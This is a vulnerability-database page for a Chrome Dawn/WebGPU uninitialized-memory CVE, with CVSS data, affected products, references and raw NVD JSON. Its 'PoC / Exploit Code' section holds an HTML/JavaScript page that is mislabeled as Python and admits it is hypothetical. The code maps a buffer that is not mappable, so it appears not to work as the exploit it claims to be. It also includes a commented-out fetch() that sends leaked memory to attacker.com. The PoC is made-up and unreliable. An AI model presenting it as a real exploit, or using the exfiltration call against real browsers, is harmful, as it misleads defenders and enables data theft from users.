CVE-2026-7924

Description

Uninitialized Use in Dawn in Google Chrome prior to 148.0.7778.96 allowed a remote attacker to obtain potentially sensitive information from process memory via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome < 148.0.7778.96

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
Conceptual PoC for CVE-2026-7924 (Uninitialized Use in Dawn/WebGPU)
Note: This is a hypothetical demonstration based on the vulnerability description.
-->
<!DOCTYPE html>
<html>
<head>
    <title>Dawn Uninitialized Use PoC</title>
</head>
<body>
    <h1>Testing WebGPU Memory Initialization</h1>
    <script>
        async function triggerVulnerability() {
            // Check if WebGPU is supported
            if (!navigator.gpu) {
                console.log("WebGPU not supported.");
                return;
            }

            const adapter = await navigator.gpu.requestAdapter();
            const device = await adapter.requestDevice();

            try {
                // Attempt to create a buffer with specific flags that might trigger uninitialized read
                // In a real scenario, specific Dawn API calls would be crafted to leave memory uninitialized
                const buffer = device.createBuffer({
                    size: 1024,
                    usage: GPUBufferUsage.COPY_SRC | GPUBufferUsage.STORAGE
                });

                // Map the buffer to read contents
                // If uninitialized, this data might contain artifacts from previous memory usage
                await buffer.mapAsync(GPUMapMode.READ);
                const data = new Uint8Array(buffer.getMappedRange());

                console.log("Buffer contents (potentially uninitialized):");
                console.log(data);

                // Send data to attacker (simulation)
                // fetch('https://attacker.com/collect', { method: 'POST', body: JSON.stringify(Array.from(data)) });

                buffer.unmap();
            } catch (error) {
                console.error("Error triggering vulnerability:", error);
            }
        }

        triggerVulnerability();
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-7924
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-7924
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-7924/
[4] VulDB https://vuldb.com/cve/CVE-2026-7924
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop.html
[6] https://issues.chromium.org/issues/500087204

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-7924", "sourceIdentifier": "[email protected]", "published": "2026-05-06T19:16:40.713", "lastModified": "2026-05-06T23:37:58.637", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Uninitialized Use in Dawn in Google Chrome prior to 148.0.7778.96 allowed a remote attacker to obtain potentially sensitive information from process memory via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-457"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "148.0.7778.96", "matchCriteriaId": "5E9416A8-4333-4195-983C-78F521AF6245"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/500087204", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}